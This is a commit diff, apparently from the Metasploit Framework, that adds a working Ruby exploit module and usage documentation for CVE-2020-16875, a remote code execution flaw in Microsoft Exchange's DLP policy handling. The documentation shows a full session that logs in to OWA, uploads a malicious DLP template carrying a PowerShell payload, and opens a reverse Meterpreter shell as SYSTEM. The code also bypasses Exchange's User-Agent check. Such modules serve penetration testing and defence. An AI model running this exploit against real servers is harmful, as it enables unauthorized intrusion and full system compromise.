Land #14126, Add Microsoft Exchange Server DLP Policy RCE (CVE-2020-16875)
This commit is contained in:
@@ -0,0 +1,123 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This vulnerability allows remote attackers to execute arbitrary code
|
||||
on affected installations of Exchange Server. Authentication is
|
||||
required to exploit this vulnerability. Additionally, the target user
|
||||
must have the `Data Loss Prevention` role assigned and an active
|
||||
mailbox.
|
||||
|
||||
If the user is in the `Compliance Management` or greater `Organization
|
||||
Management` role groups, then they have the `Data Loss Prevention`
|
||||
role. Since the user who installed Exchange is in the `Organization
|
||||
Management` role group, they transitively have the `Data Loss
|
||||
Prevention` role.
|
||||
|
||||
The specific flaw exists within the processing of the `New-DlpPolicy`
|
||||
cmdlet. The issue results from the lack of proper validation of
|
||||
user-supplied template data when creating a DLP policy. An attacker
|
||||
can leverage this vulnerability to execute code in the context of
|
||||
`SYSTEM`.
|
||||
|
||||
Tested against Exchange Server 2016 CU14 on Windows Server 2016.
|
||||
|
||||
### Setup
|
||||
|
||||
Set up a [vulnerable target](#targets).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Targets
|
||||
|
||||
### 0
|
||||
|
||||
`Exchange Server 2016 and 2019 w/o KB4577352`
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
Set this to the OWA username.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
Set this to the OWA password.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Exchange Server 2016 CU14 on Windows Server 2016
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/exchange_ecp_dlp_policy
|
||||
[*] Using configured payload windows/x64/meterpreter/reverse_https
|
||||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > options
|
||||
|
||||
Module options (exploit/windows/http/exchange_ecp_dlp_policy):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD no OWA password
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Base path
|
||||
USERNAME no OWA username
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_https):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST yes The local listener hostname
|
||||
LPORT 8443 yes The local listener port
|
||||
LURI no The HTTP Path
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Exchange Server 2016 and 2019 w/o KB4577352
|
||||
|
||||
|
||||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set rhosts 192.168.123.192
|
||||
rhosts => 192.168.123.192
|
||||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set username Administrator
|
||||
username => Administrator
|
||||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set password Passw0rd!
|
||||
password => Passw0rd!
|
||||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set lhost 192.168.123.1
|
||||
lhost => 192.168.123.1
|
||||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run
|
||||
|
||||
[*] Started HTTPS reverse handler on https://192.168.123.1:8443
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[!] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/
|
||||
[*] Logging in to OWA with creds Administrator:Passw0rd!
|
||||
[+] Successfully logged in to OWA
|
||||
[*] Retrieving ViewState from DLP policy creation page
|
||||
[+] Successfully retrieved ViewState
|
||||
[*] Creating custom DLP policy from malicious template
|
||||
[*] DLP policy name: Abbotstone Agricultural Property Unit Trust Data
|
||||
[*] Powershell command length: 2372
|
||||
[*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: rwlz4ahe) Staging x64 payload (201308 bytes) ...
|
||||
[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:6951) at 2020-09-16 02:39:17 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-365Q2VJJS17
|
||||
OS : Windows 2016+ (10.0 Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : GIBSON
|
||||
Logged On Users : 8
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,251 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
|
||||
'Description' => %q{
|
||||
This vulnerability allows remote attackers to execute arbitrary code
|
||||
on affected installations of Exchange Server. Authentication is
|
||||
required to exploit this vulnerability. Additionally, the target user
|
||||
must have the "Data Loss Prevention" role assigned and an active
|
||||
mailbox.
|
||||
|
||||
If the user is in the "Compliance Management" or greater "Organization
|
||||
Management" role groups, then they have the "Data Loss Prevention"
|
||||
role. Since the user who installed Exchange is in the "Organization
|
||||
Management" role group, they transitively have the "Data Loss
|
||||
Prevention" role.
|
||||
|
||||
The specific flaw exists within the processing of the New-DlpPolicy
|
||||
cmdlet. The issue results from the lack of proper validation of
|
||||
user-supplied template data when creating a DLP policy. An attacker
|
||||
can leverage this vulnerability to execute code in the context of
|
||||
SYSTEM.
|
||||
|
||||
Tested against Exchange Server 2016 CU14 on Windows Server 2016.
|
||||
},
|
||||
'Author' => [
|
||||
'mr_me', # Discovery, exploits, and most of the words above
|
||||
'wvu' # Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2020-16875'],
|
||||
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],
|
||||
['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],
|
||||
['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
|
||||
['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'],
|
||||
['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt']
|
||||
],
|
||||
'DisclosureDate' => '2020-09-08', # Public disclosure
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['Exchange Server 2016 and 2019 w/o KB4577352', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true,
|
||||
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
|
||||
'HttpClientTimeout' => 5,
|
||||
'WfsDelay' => 10
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [
|
||||
IOC_IN_LOGS,
|
||||
ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
|
||||
CONFIG_CHANGES, # Creates a new DLP policy
|
||||
ARTIFACTS_ON_DISK # Uses a DLP policy template file
|
||||
]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/']),
|
||||
OptString.new('USERNAME', [false, 'OWA username']),
|
||||
OptString.new('PASSWORD', [false, 'OWA password'])
|
||||
])
|
||||
end
|
||||
|
||||
def post_auth?
|
||||
true
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
|
||||
)
|
||||
|
||||
unless res
|
||||
return CheckCode::Unknown('Target did not respond to check.')
|
||||
end
|
||||
|
||||
unless res.code == 200 && res.body.include?('<title>Outlook</title>')
|
||||
return CheckCode::Unknown('Target does not appear to be running OWA.')
|
||||
end
|
||||
|
||||
CheckCode::Detected("OWA is running at #{full_uri('/owa/')}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
owa_login
|
||||
create_dlp_policy(retrieve_viewstate)
|
||||
end
|
||||
|
||||
def owa_login
|
||||
unless username && password
|
||||
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
|
||||
end
|
||||
|
||||
print_status("Logging in to OWA with creds #{username}:#{password}")
|
||||
|
||||
res = send_request_cgi!({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),
|
||||
'vars_post' => {
|
||||
'username' => username,
|
||||
'password' => password,
|
||||
'flags' => '',
|
||||
'destination' => full_uri('/owa/', vhost_uri: true)
|
||||
},
|
||||
'keep_cookies' => true
|
||||
}, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unreachable, 'Failed to access OWA login page')
|
||||
end
|
||||
|
||||
unless res.code == 200 && cookie_jar.grep(/^cadata/).any?
|
||||
if res.body.include?('There are too many active sessions connected to this mailbox.')
|
||||
fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
|
||||
end
|
||||
|
||||
fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
|
||||
end
|
||||
|
||||
if res.body.include?('Choose your preferred display language and home time zone below.')
|
||||
fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
|
||||
end
|
||||
|
||||
print_good('Successfully logged in to OWA')
|
||||
end
|
||||
|
||||
def retrieve_viewstate
|
||||
print_status('Retrieving ViewState from DLP policy creation page')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
|
||||
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
|
||||
end
|
||||
|
||||
unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
|
||||
end
|
||||
|
||||
print_good('Successfully retrieved ViewState')
|
||||
viewstate
|
||||
end
|
||||
|
||||
def create_dlp_policy(viewstate)
|
||||
print_status('Creating custom DLP policy from malicious template')
|
||||
vprint_status("DLP policy name: #{dlp_policy_name}")
|
||||
|
||||
form_data = Rex::MIME::Message.new
|
||||
form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
|
||||
form_data.add_part(
|
||||
'ResultPanePlaceHolder_ButtonsPanel_btnNext',
|
||||
nil,
|
||||
nil,
|
||||
'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
|
||||
)
|
||||
form_data.add_part(
|
||||
dlp_policy_name,
|
||||
nil,
|
||||
nil,
|
||||
'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
|
||||
)
|
||||
form_data.add_part(
|
||||
dlp_policy_template,
|
||||
'text/xml',
|
||||
nil,
|
||||
%(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}")
|
||||
)
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
|
||||
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
|
||||
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
|
||||
'data' => form_data.to_s
|
||||
}, 0)
|
||||
end
|
||||
|
||||
def dlp_policy_template
|
||||
# https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
|
||||
<<~XML
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<dlpPolicyTemplates>
|
||||
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
|
||||
<contentVersion>4</contentVersion>
|
||||
<publisherName>Metasploit</publisherName>
|
||||
<name>
|
||||
<localizedString lang="en">#{dlp_policy_name}</localizedString>
|
||||
</name>
|
||||
<description>
|
||||
<localizedString lang="en">wvu was here</localizedString>
|
||||
</description>
|
||||
<keywords></keywords>
|
||||
<ruleParameters></ruleParameters>
|
||||
<policyCommands>
|
||||
<commandBlock>
|
||||
<![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]>
|
||||
</commandBlock>
|
||||
</policyCommands>
|
||||
<policyCommandsResources></policyCommandsResources>
|
||||
</dlpPolicyTemplate>
|
||||
</dlpPolicyTemplates>
|
||||
XML
|
||||
end
|
||||
|
||||
def dlp_policy_name
|
||||
@dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data"
|
||||
end
|
||||
|
||||
def dlp_policy_filename
|
||||
@dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user